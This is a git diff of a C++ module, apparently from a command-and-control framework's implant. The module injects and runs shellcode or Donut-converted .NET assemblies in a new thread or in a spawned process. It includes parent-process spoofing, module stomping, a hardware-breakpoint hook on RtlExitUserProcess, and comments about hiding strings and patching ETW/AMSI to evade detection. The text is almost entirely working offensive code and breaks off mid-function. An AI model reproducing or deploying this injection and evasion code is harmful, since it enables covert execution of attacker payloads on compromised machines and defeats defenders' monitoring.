diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index 425b1ca..39c744e 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -1,974 +1,1001 @@ -#include "AssemblyExec.hpp" - -#include -#include -#include -#include - -#include "Common.hpp" -#include "Tools.hpp" - -#ifdef __linux__ -#include -#include -#include -#include -#include -#include -#include -#elif _WIN32 -#include -#include - -#include -#include - -#include - -#endif - -#define BUFSIZE 512 - -// Max duration of the shellcode execution befor it's killed -const int maxDurationShellCode=120; - -using namespace std; - -// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary -constexpr std::string_view moduleName = "assemblyExec"; -constexpr unsigned long long moduleHash = djb2(moduleName); - - -#ifdef _WIN32 - -__declspec(dllexport) AssemblyExec* A_AssemblyExecConstructor() -{ - return new AssemblyExec(); -} - -#else - -__attribute__((visibility("default"))) AssemblyExec* AssemblyExecConstructor() -{ - return new AssemblyExec(); -} - -#endif - -AssemblyExec::AssemblyExec() -#ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) -#else - : ModuleCmd("", moduleHash) -#endif -{ - m_processToSpawn=""; - m_spoofedParent=""; - m_useSyscall=false; - m_isModeProcess = true; - m_isSpoofParent = false; -} - -AssemblyExec::~AssemblyExec() -{ -} - - -// OPSEC remove getHelp and getInfo strings from the beacon compilation -std::string AssemblyExec::getInfo() -{ - std::string info; -#ifdef BUILD_TEAMSERVER - info += "AssemblyExec Module:\n"; - info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n"; - info += "Captures and returns any output produced by the shellcode.\n"; - info += "\nOptions:\n"; - info += " -r Use a raw shellcode file.\n"; - info += " -e [args] Use Donut to generate shellcode from a .NET executable.\n"; - info += " -d [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n"; - info += "\nExecution Modes:\n"; - info += " thread Inject and execute in a new thread\n"; - info += " process Inject into a newly spawned process\n"; - info += " processWithSpoofedParent Same as above, but with spoofed parent process\n"; - info += "\nExamples:\n"; - info += " - assemblyExec thread\n"; - info += " - assemblyExec process\n"; - info += " - assemblyExec -r ./shellcode.bin\n"; - info += " - assemblyExec -e ./program.exe arg1 arg2\n"; - info += " - assemblyExec -e ./Seatbelt.exe -group=system\n"; - info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n"; -#endif - return info; -} - - -#define modeThread "0" -#define modeProcess "1" -#define modeprocessWithSpoofedParent "2" - - -int AssemblyExec::init(std::vector &splitedCmd, C2Message &c2Message) -{ +#include "AssemblyExec.hpp" + +#include +#include +#include +#include + +#include "Common.hpp" +#include "Tools.hpp" + +#ifdef __linux__ +#include +#include +#include +#include +#include +#include +#include +#elif _WIN32 +#include +#include + +#include +#include + +#include + +#endif + +#define BUFSIZE 512 + +// Max duration of the shellcode execution befor it's killed +const int maxDurationShellCode=120; + +using namespace std; + +// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary +constexpr std::string_view moduleName = "assemblyExec"; +constexpr unsigned long long moduleHash = djb2(moduleName); + +namespace +{ + constexpr int ERROR_PROCESS_CREATION = 1; +} + + +#ifdef _WIN32 + +__declspec(dllexport) AssemblyExec* A_AssemblyExecConstructor() +{ + return new AssemblyExec(); +} + +#else + +__attribute__((visibility("default"))) AssemblyExec* AssemblyExecConstructor() +{ + return new AssemblyExec(); +} + +#endif + +AssemblyExec::AssemblyExec() +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif +{ + m_processToSpawn=""; + m_spoofedParent=""; + m_useSyscall=false; + m_isModeProcess = true; + m_isSpoofParent = false; +} + +AssemblyExec::~AssemblyExec() +{ +} + + +// OPSEC remove getHelp and getInfo strings from the beacon compilation +std::string AssemblyExec::getInfo() +{ + std::string info; +#ifdef BUILD_TEAMSERVER + info += "AssemblyExec Module:\n"; + info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n"; + info += "Captures and returns any output produced by the shellcode.\n"; + info += "\nOptions:\n"; + info += " -r Use a raw shellcode file.\n"; + info += " -e [args] Use Donut to generate shellcode from a .NET executable.\n"; + info += " -d [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n"; + info += "\nExecution Modes:\n"; + info += " thread Inject and execute in a new thread\n"; + info += " process Inject into a newly spawned process\n"; + info += " processWithSpoofedParent Same as above, but with spoofed parent process\n"; + info += "\nExamples:\n"; + info += " - assemblyExec thread\n"; + info += " - assemblyExec process\n"; + info += " - assemblyExec -r ./shellcode.bin\n"; + info += " - assemblyExec -e ./program.exe arg1 arg2\n"; + info += " - assemblyExec -e ./Seatbelt.exe -group=system\n"; + info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n"; +#endif + return info; +} + + +#define modeThread "0" +#define modeProcess "1" +#define modeprocessWithSpoofedParent "2" + + +int AssemblyExec::init(std::vector &splitedCmd, C2Message &c2Message) +{ #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) - if(splitedCmd.size() == 2) - { - if(splitedCmd[1]=="thread") - { - m_isModeProcess = false; - c2Message.set_returnvalue("thread mode.\n"); - return -1; - } - else if(splitedCmd[1]=="process") - { - m_isModeProcess = true; - m_isSpoofParent = false; - c2Message.set_returnvalue("process mode.\n"); - return -1; - } - else if(splitedCmd[1]=="processWithSpoofedParent") - { - m_isModeProcess = true; - m_isSpoofParent = true; - c2Message.set_returnvalue("process mode with parent spoofing.\n"); - return -1; - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else if (splitedCmd.size() >= 3) - { - bool donut=false; - std::string inputFile=splitedCmd[2]; - std::string method; - std::string args; - int pid=-1; - - if(splitedCmd[1]=="-e") - { - donut=true; - for (int idx = 3; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-d") - { - donut=true; - if(splitedCmd.size() > 3) - method=splitedCmd[3]; - else - { - std::string msg = "Method is mandatory for DLL.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - for (int idx = 4; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-r") - { - } - else - { - std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - if(inputFile.empty()) - { - std::string msg = "A file name have to be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); - - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } - - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - myfile.close(); - - std::string payload; - if(donut) - { - // if we create a process we need to exite process with donut shellcode - // Otherwise we exite the thread - creatShellCodeDonut(inputFile, method, args, payload, true); - } - else - { - std::ifstream input(inputFile, std::ios::binary); - std::string payload_(std::istreambuf_iterator(input), {}); - payload=payload_; - } - - if(payload.size()==0) - { - std::string msg = "Something went wrong. Payload empty.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::string cmd; - for (int idx = 1; idx < splitedCmd.size(); idx++) - { - cmd+=splitedCmd[idx]; - cmd+=" "; - } - - if(m_isModeProcess == false) - c2Message.set_args(modeThread); - else if(m_isModeProcess == true && m_isSpoofParent == false) - c2Message.set_args(modeProcess); - else if(m_isModeProcess == true && m_isSpoofParent == true) - c2Message.set_args(modeprocessWithSpoofedParent); - - c2Message.set_pid(pid); - c2Message.set_cmd(cmd); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(payload.data(), payload.size()); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } -#endif - return 0; -} - - -int AssemblyExec::initConfig(const nlohmann::json &config) -{ + if(splitedCmd.size() == 2) + { + if(splitedCmd[1]=="thread") + { + m_isModeProcess = false; + c2Message.set_returnvalue("thread mode.\n"); + return -1; + } + else if(splitedCmd[1]=="process") + { + m_isModeProcess = true; + m_isSpoofParent = false; + c2Message.set_returnvalue("process mode.\n"); + return -1; + } + else if(splitedCmd[1]=="processWithSpoofedParent") + { + m_isModeProcess = true; + m_isSpoofParent = true; + c2Message.set_returnvalue("process mode with parent spoofing.\n"); + return -1; + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else if (splitedCmd.size() >= 3) + { + bool donut=false; + std::string inputFile=splitedCmd[2]; + std::string method; + std::string args; + int pid=-1; + + if(splitedCmd[1]=="-e") + { + donut=true; + for (int idx = 3; idx < splitedCmd.size(); idx++) + { + if(!args.empty()) + args+=" "; + args+=splitedCmd[idx]; + } + } + else if(splitedCmd[1]=="-d") + { + donut=true; + if(splitedCmd.size() > 3) + method=splitedCmd[3]; + else + { + std::string msg = "Method is mandatory for DLL.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + for (int idx = 4; idx < splitedCmd.size(); idx++) + { + if(!args.empty()) + args+=" "; + args+=splitedCmd[idx]; + } + } + else if(splitedCmd[1]=="-r") + { + } + else + { + std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + + if(inputFile.empty()) + { + std::string msg = "A file name have to be provided.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + + std::ifstream myfile; + myfile.open(inputFile, std::ios::binary); + + if(!myfile) + { + std::string newInputFile=m_toolsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } + + if(!myfile) + { + std::string msg = "Couldn't open file.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + myfile.close(); + + std::string payload; + if(donut) + { + // if we create a process we need to exite process with donut shellcode + // Otherwise we exite the thread + creatShellCodeDonut(inputFile, method, args, payload, true); + } + else + { + std::ifstream input(inputFile, std::ios::binary); + std::string payload_(std::istreambuf_iterator(input), {}); + payload=payload_; + } + + if(payload.size()==0) + { + std::string msg = "Something went wrong. Payload empty.\n"; + c2Message.set_returnvalue(msg); + return -1; + } + + std::string cmd; + for (int idx = 1; idx < splitedCmd.size(); idx++) + { + cmd+=splitedCmd[idx]; + cmd+=" "; + } + + if(m_isModeProcess == false) + c2Message.set_args(modeThread); + else if(m_isModeProcess == true && m_isSpoofParent == false) + c2Message.set_args(modeProcess); + else if(m_isModeProcess == true && m_isSpoofParent == true) + c2Message.set_args(modeprocessWithSpoofedParent); + + c2Message.set_pid(pid); + c2Message.set_cmd(cmd); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_data(payload.data(), payload.size()); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } +#endif + return 0; +} + + +int AssemblyExec::initConfig(const nlohmann::json &config) +{ #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) - for (auto& it : config.items()) - { - if(it.key()=="process") - m_processToSpawn = it.value(); - else if(it.key()=="syscall") - m_useSyscall = true; - else if(it.key()=="isModeProcess") - m_isModeProcess = (bool)it.value(); - else if(it.key()=="spoofedParent") - { - m_isSpoofParent = true; - m_spoofedParent = it.value(); - } - } -#endif - return 0; -} - - -int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage) -{ - std::string mode = c2Message.args(); - if(!mode.empty()) - { - if(mode==modeThread) - m_isModeProcess = false; - else if(mode==modeProcess) - { - m_isModeProcess = true; - m_isSpoofParent = false; - } - else if(mode==modeprocessWithSpoofedParent) - { - m_isModeProcess = true; - m_isSpoofParent = true; - } - } - - const std::string payload = c2Message.data(); - - std::string result; - -#ifdef __linux__ - - whateverLinux(payload, result); - -#elif _WIN32 - - std::string processToSpawn="notepad.exe"; - std::string spoofedParent="explorer.exe"; - if(!m_processToSpawn.empty()) - processToSpawn=m_processToSpawn; - if(!m_spoofedParent.empty()) - spoofedParent=m_spoofedParent; - - if(m_isModeProcess && !m_isSpoofParent) - createNewProcess(payload, processToSpawn, result); - else if(m_isModeProcess && m_isSpoofParent) - createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result); - else - createNewThread(payload, result); - -#endif - - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(c2Message.cmd()); - c2RetMessage.set_returnvalue(result); - - return 0; -} - - -#ifdef __linux__ - - -int AssemblyExec::whateverLinux(const std::string& payload, std::string& result) -{ - if(1) - { - pid_t pid = 0; - int pipefd[2]; - - int ret = pipe(pipefd); //create a pipe - pid = fork(); //spawn a child process - if (pid == 0) - { - // Child. redirect std output to pipe, launch process - close(pipefd[0]); - dup2(pipefd[1], STDOUT_FILENO); - - void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); - memcpy(page, payload.data(), payload.size()); - mprotect(page, payload.size(), PROT_READ|PROT_EXEC); - ((void(*)())page)(); - exit(0); - } - - pid_t child_process_pid = pid; - int child_process_output_fd = pipefd[0]; - - //Only parent gets here. make tail nonblocking. - close(pipefd[1]); - fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK); - - std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); - while(1) - { - int status; - pid_t endID=waitpid(child_process_pid, &status, WNOHANG); - if (endID == -1) - break; - else if (endID == 0) - { - std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); - auto elapse = std::chrono::duration_cast(now - begin).count(); - if(elapse>=maxDurationShellCode) - { - kill(pid, SIGKILL); - break; - } - else - sleep(1); - } - } - - char buf[1000]; - int nbBytes=1; - while(nbBytes) - { - nbBytes = read(child_process_output_fd, buf, 1000); - if(nbBytes) - result+=buf; - } - } - - if(0) - { - // inject in an other thread -> work but i cannot get the output - streambuf* oldCoutStreamBuf = cout.rdbuf(); - ostringstream strCout; - cout.rdbuf( strCout.rdbuf() ); - - std::thread t1(execShellCode, payload); - if(t1.joinable()) - t1.join(); - - cout.rdbuf( oldCoutStreamBuf ); - cout << strCout.str(); - } - - if(0) - { - // inject here -> work but terminate the process - void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); - memcpy(page, payload.data(), payload.size()); - mprotect(page, payload.size(), PROT_READ|PROT_EXEC); - ((void(*)())page)(); - } - - return 0; -} - - -#elif _WIN32 - - + for (auto& it : config.items()) + { + if(it.key()=="process") + m_processToSpawn = it.value(); + else if(it.key()=="syscall") + m_useSyscall = true; + else if(it.key()=="isModeProcess") + m_isModeProcess = (bool)it.value(); + else if(it.key()=="spoofedParent") + { + m_isSpoofParent = true; + m_spoofedParent = it.value(); + } + } +#endif + return 0; +} + + +int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage) +{ + std::string mode = c2Message.args(); + if(!mode.empty()) + { + if(mode==modeThread) + m_isModeProcess = false; + else if(mode==modeProcess) + { + m_isModeProcess = true; + m_isSpoofParent = false; + } + else if(mode==modeprocessWithSpoofedParent) + { + m_isModeProcess = true; + m_isSpoofParent = true; + } + } + + const std::string payload = c2Message.data(); + + std::string result; + +#ifdef __linux__ + + whateverLinux(payload, result); + +#elif _WIN32 + + std::string processToSpawn="notepad.exe"; + std::string spoofedParent="explorer.exe"; + if(!m_processToSpawn.empty()) + processToSpawn=m_processToSpawn; + if(!m_spoofedParent.empty()) + spoofedParent=m_spoofedParent; + + int executionStatus = 0; + if(m_isModeProcess && !m_isSpoofParent) + executionStatus = createNewProcess(payload, processToSpawn, result); + else if(m_isModeProcess && m_isSpoofParent) + executionStatus = createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result); + else + executionStatus = createNewThread(payload, result); + +#endif + + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(c2Message.cmd()); +#ifdef _WIN32 + if (executionStatus != 0) + { + if (result.empty()) + { + result = "Error: Process failed to start.\n"; + } + c2RetMessage.set_errorCode(ERROR_PROCESS_CREATION); + } +#endif + c2RetMessage.set_returnvalue(result); + + return 0; +} + +int AssemblyExec::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + + +#ifdef __linux__ + + +int AssemblyExec::whateverLinux(const std::string& payload, std::string& result) +{ + if(1) + { + pid_t pid = 0; + int pipefd[2]; + + int ret = pipe(pipefd); //create a pipe + pid = fork(); //spawn a child process + if (pid == 0) + { + // Child. redirect std output to pipe, launch process + close(pipefd[0]); + dup2(pipefd[1], STDOUT_FILENO); + + void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + memcpy(page, payload.data(), payload.size()); + mprotect(page, payload.size(), PROT_READ|PROT_EXEC); + ((void(*)())page)(); + exit(0); + } + + pid_t child_process_pid = pid; + int child_process_output_fd = pipefd[0]; + + //Only parent gets here. make tail nonblocking. + close(pipefd[1]); + fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK); + + std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); + while(1) + { + int status; + pid_t endID=waitpid(child_process_pid, &status, WNOHANG); + if (endID == -1) + break; + else if (endID == 0) + { + std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); + auto elapse = std::chrono::duration_cast(now - begin).count(); + if(elapse>=maxDurationShellCode) + { + kill(pid, SIGKILL); + break; + } + else + sleep(1); + } + } + + char buf[1000]; + int nbBytes=1; + while(nbBytes) + { + nbBytes = read(child_process_output_fd, buf, 1000); + if(nbBytes) + result+=buf; + } + } + + if(0) + { + // inject in an other thread -> work but i cannot get the output + streambuf* oldCoutStreamBuf = cout.rdbuf(); + ostringstream strCout; + cout.rdbuf( strCout.rdbuf() ); + + std::thread t1(execShellCode, payload); + if(t1.joinable()) + t1.join(); + + cout.rdbuf( oldCoutStreamBuf ); + cout << strCout.str(); + } + + if(0) + { + // inject here -> work but terminate the process + void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + memcpy(page, payload.data(), payload.size()); + mprotect(page, payload.size(), PROT_READ|PROT_EXEC); + ((void(*)())page)(); + } + + return 0; +} + + +#elif _WIN32 + + LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS* ExceptionInfo) { if (EXCEPTION_CODE(ExceptionInfo) != HWBP_EXCEPTION_CODE) return EXCEPTION_CONTINUE_SEARCH; - - BYTE* baseAddress = (BYTE*)xGetProcAddress( - xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), - (PCHAR)"RtlExitUserProcess", - 0 - ); - - if (!baseAddress) - return EXCEPTION_CONTINUE_SEARCH; - - void* exitThread = (void*)GetProcAddress( - GetModuleHandleA("kernel32.dll"), - "ExitThread" - ); - - if (!exitThread) - return EXCEPTION_CONTINUE_SEARCH; - -#if defined(_M_X64) - + + BYTE* baseAddress = (BYTE*)xGetProcAddress( + xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), + (PCHAR)"RtlExitUserProcess", + 0 + ); + + if (!baseAddress) + return EXCEPTION_CONTINUE_SEARCH; + + void* exitThread = (void*)GetProcAddress( + GetModuleHandleA("kernel32.dll"), + "ExitThread" + ); + + if (!exitThread) + return EXCEPTION_CONTINUE_SEARCH; + +#if defined(_M_X64) + if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF ExceptionInfo->ContextRecord->Rip = (DWORD64)exitThread; return EXCEPTION_CONTINUE_EXECUTION; } - -#elif defined(_M_IX86) - + +#elif defined(_M_IX86) + if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF ExceptionInfo->ContextRecord->Eip = (DWORD)exitThread; return EXCEPTION_CONTINUE_EXECUTION; } - -#elif defined(_M_ARM64) - + +#elif defined(_M_ARM64) + if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { /* ARM64: - No Rip/Eip - - No EFlags/RF - - Instruction pointer is Pc - */ - ExceptionInfo->ContextRecord->Pc = (DWORD64)exitThread; - return EXCEPTION_CONTINUE_EXECUTION; - } - -#else - #error Unsupported architecture -#endif - - return EXCEPTION_CONTINUE_SEARCH; -} - - -// Create new thread to run the shellcode, the memory use to inject the payload is taken from a DLL (Module Stomping) -// loaded specialy for this purpose. It avoid to use VirtualAlloc. -int AssemblyExec::createNewThread(const std::string& payload, std::string& result) -{ - StdCapture stdCapture; - stdCapture.BeginCapture(); - - char * ptr; - - // Module stomping - bool isModuleStomping = false; - if(isModuleStomping) - { - unsigned char sLib[] = "HologramWorld.dll"; - HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib); - ptr = (char *) hVictimLib + 2*4096 + 12; - - DWORD oldprotect = 0; - VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect); - RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); - VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); - } - else - { - DWORD oldprotect = 0; - ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE); - RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); - VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); - } - - HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0); - - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess"); - HANDLE phHwBpHandler; - int indexHWBP = 0; - set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler); - - if (thread != NULL) - ResumeThread(thread); - - WaitForSingleObject(thread, maxDurationShellCode*1000); - - stdCapture.EndCapture(); - result+=stdCapture.GetCapture(); - - return 0; -} - - -// OPSEC function to switch to syscall -// OPSEC patch etw et amsi -// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet. -// OPSEC function to choose the process to inject to - - -DWORD GetPidByName(const char * pName) -{ - PROCESSENTRY32 pEntry; - HANDLE snapshot; - - pEntry.dwSize = sizeof(PROCESSENTRY32); - snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - - if (Process32First(snapshot, &pEntry) == TRUE) - { - while (Process32Next(snapshot, &pEntry) == TRUE) - { - if (_stricmp(pEntry.szExeFile, pName) == 0) - { - return pEntry.th32ProcessID; - } - } - } - CloseHandle(snapshot); - return 0; -} - - -// Create a new process in suspended mode to run the shellcode. -int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result) -{ - // Init handles - HANDLE hChildStdOutRd = NULL; - HANDLE hChildStdOutWr = NULL; - HANDLE hChildStdErrRd = NULL; - HANDLE hChildStdErrWr = NULL; - HANDLE hParentStdOutWr = NULL; - HANDLE hParentStdErrWr = NULL; - - // Set the bInheritHandle flag so pipe handles are inherited. - SECURITY_ATTRIBUTES sa; - sa.nLength = sizeof(SECURITY_ATTRIBUTES); - sa.bInheritHandle = TRUE; - sa.lpSecurityDescriptor = NULL; - - CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0); - SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); - - // std::string pipeStdErr = "\\\\.\\pipe\\error"; - // int bufferSize = 512; - // hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); - // hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); - - // hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); - - CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); - SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); - - // std::string pipeStdOut = "\\\\.\\pipe\\output"; - // hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); - // hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); - - // Prepare the parent child spoofing - DWORD dwPid = 0; - dwPid = GetPidByName(spoofedParent.c_str()); - if (dwPid == 0) - dwPid = GetCurrentProcessId(); - - HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); - if (!hParentProcess) - { - // result += "Error: Failed to open parent process." << GetLastError() << "\n"; - return 0; - } - - // Duplicate handles to the spoofed parent process - BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS); - res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS); - - // Set up members of the STARTUPINFOEX structure to specifies the STDERR and STDOUT handles for redirection. - STARTUPINFOEX siStartInfo = {}; - siStartInfo.StartupInfo.cb = sizeof(STARTUPINFOEX); - siStartInfo.StartupInfo.hStdError = hParentStdErrWr; - siStartInfo.StartupInfo.hStdOutput = hParentStdOutWr; - siStartInfo.StartupInfo.dwFlags |= STARTF_USESTDHANDLES; - - // Set up attributeList to set up the parent process - SIZE_T attributeListSize = 0; - InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize); - - PPROC_THREAD_ATTRIBUTE_LIST attributeList = (PPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc(GetProcessHeap(), 0, attributeListSize); - if (!attributeList) - { - // result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n"; - - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); - - return 0; - } - - if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize)) - { - // result += "Error: Failed to initialize attribute list." << GetLastError() << "\n"; - - HeapFree(GetProcessHeap(), 0, attributeList); - - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); - - return 0; - } - - if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) - { - // result += "Error: Failed to set parent process attribute." << GetLastError() << "\n"; - - DeleteProcThreadAttributeList(attributeList); - HeapFree(GetProcessHeap(), 0, attributeList); - - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); - - return 0; - } - - siStartInfo.lpAttributeList = attributeList; - - // Create the child process - PROCESS_INFORMATION piProcInfo; - ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); - bool bSuccess = CreateProcessA(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo); - - DeleteProcThreadAttributeList(attributeList); - HeapFree(GetProcessHeap(), 0, attributeList); - - // If an error occurs, exit the application. - if ( ! bSuccess ) - { - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, 